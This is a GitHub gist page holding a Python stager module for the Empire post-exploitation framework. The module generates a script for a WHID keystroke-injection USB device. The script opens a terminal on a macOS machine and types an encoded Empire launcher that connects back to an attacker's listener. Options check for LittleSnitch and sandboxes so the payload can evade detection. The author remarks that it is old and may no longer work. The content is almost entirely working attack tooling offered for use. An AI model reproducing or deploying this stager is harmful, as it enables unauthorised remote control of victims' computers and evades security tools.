Skip to content

Instantly share code, notes, and snippets.

@whid-injector
Created September 27, 2019 06:38
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save whid-injector/ae1001d7d78bf635c77e4067e4572536 to your computer and use it in GitHub Desktop.
Save whid-injector/ae1001d7d78bf635c77e4067e4572536 to your computer and use it in GitHub Desktop.
Linux/OSX stager for Empire 2.3. Place in lib/stagers/osx directory. P.S. It is old thingy I accidentally found on my VPS. Not sure still works.
from lib.common import helpers
class Stager:
def __init__(self, mainMenu, params=[]):
self.info = {
'Name': 'WHIDLauncher',
'Author': ['@LucaBongiorni','@xorrior'],
'Description': ('Generates a WHID script that runs a one-liner stage0 launcher for Empire.'),
'Comments': [
''
]
}
# any options needed by the stager, settable during runtime
self.options = {
# format:
# value_name : {description, required, default_value}
'Listener' : {
'Description' : 'Listener to generate stager for.',
'Required' : True,
'Value' : ''
},
'Language' : {
'Description' : 'Language of the stager to generate.',
'Required' : True,
'Value' : 'python'
},
'SafeChecks' : {
'Description' : 'Switch. Checks for LittleSnitch or a SandBox, exit the staging process if true. Defaults to True.',
'Required' : True,
'Value' : 'True'
},
'OutFile' : {
'Description' : 'File to output WHID script to, otherwise displayed on the screen.',
'Required' : False,
'Value' : ''
},
'UserAgent' : {
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
'Required' : False,
'Value' : 'default'
}
}
# save off a copy of the mainMenu object to access external functionality
# like listeners/agent handlers/etc.
self.mainMenu = mainMenu
for param in params:
# parameter format is [Name, Value]
option, value = param
if option in self.options:
self.options[option]['Value'] = value
def generate(self):
# extract all of our options
language = self.options['Language']['Value']
listenerName = self.options['Listener']['Value']
userAgent = self.options['UserAgent']['Value']
safeChecks = self.options['SafeChecks']['Value']
# generate the launcher code
launcher = self.mainMenu.stagers.generate_launcher(listenerName, language=language, encode=True, userAgent=userAgent, safeChecks=safeChecks)
if launcher == "":
print helpers.color("[!] Error in launcher command generation.")
return ""
else:
WHIDCode = "DefaultDelay:1000\n"
WHIDCode += "Press:131+32\n"
WHIDCode += "Print:terminal\n"
WHIDCode += "Press:176\n"
WHIDCode += "Print:"+launcher
WHIDCode += "\nPress:176\n"
return WHIDCode
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment